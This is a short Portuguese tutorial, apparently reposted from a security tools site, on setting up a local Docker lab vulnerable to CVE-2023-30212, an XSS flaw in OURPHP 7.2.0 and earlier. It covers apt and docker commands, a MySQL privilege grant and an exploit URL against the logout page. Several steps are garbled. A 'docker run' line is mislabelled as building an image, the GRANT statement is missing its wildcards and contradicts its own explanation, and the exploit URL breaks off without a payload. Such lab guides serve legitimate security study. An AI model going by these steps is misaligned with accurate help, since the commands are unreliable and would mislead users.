criar um ambiente Docker vulnerável que é suscetível ao CVE 2023-30212

Descrição

Ambiente Docker e exploração da vulnerabilidade CVE-2023-30212. CVE-2023-30212 é uma vulnerabilidade de segurança que afeta versões do OURPHP anteriores ou iguais a 7.2.0. Esta vulnerabilidade permite ataques de Cross-Site Scripting (XSS)

OURPHP <= 7.2.0 é vulnerável a Cross Site Scripting (XSS) via /client/manage/ourphp_out.php

Configurar Docker

• Baixar o dockerfile e extraí-lo

  root@kitploit:~

  https://down.chinaz.com/api/index/download?id=51308&type=code
  

• Baixar o exploit CVE 2023-30212

• Abrir Terminal na pasta onde salvou o dockerfile

• Instalar a máquina Docker

  sudo apt update

  sudo apt install docker.io

• Criar uma imagem docker

  docker run -d -p < ID da imagem Docker >

• Verificar a imagem docker

  docker ps

• Obter um novo id de container

  bb18debddccc test "docker-php-entrypoi…" 4 minutes ago Up 4 minutes 0.0.0.0:8080->80/tcp, :::8080->80/tcp angry_turing

• Executar uma sessão bash interativa dentro de um container Docker em execução

  docker exec -it bb18debddccc /bin/bash

• Obter shell do docker

  root@bb18debddccc:/var/www/html#

• Configurar base de dados mysql

  root@bb18debddccc:/var/www/html# mysql

  Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 38 Server version: 10.3.38-MariaDB-0+deb10u1 Debian 10 Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MariaDB [(none)]>

• MySQL ou MariaDB para conceder todos os privilégios

  GRANT ALL PRIVILEGES ON . TO ' user account'@'localhost' IDENTIFIED BY 'user password' WITH GRANT OPTION;

  Este é um comando SQL normalmente usado em sistemas de gerenciamento de banco de dados como MySQL ou MariaDB para conceder todos os privilégios ao usuário 'root' em todos os bancos de dados e tabelas do sistema atual.

Explorar a vulnerabilidade CVE-2023-30212

Url: http://localhost:8080/client/manage/ourphp_out.php?ourphp_admin=logout&out=)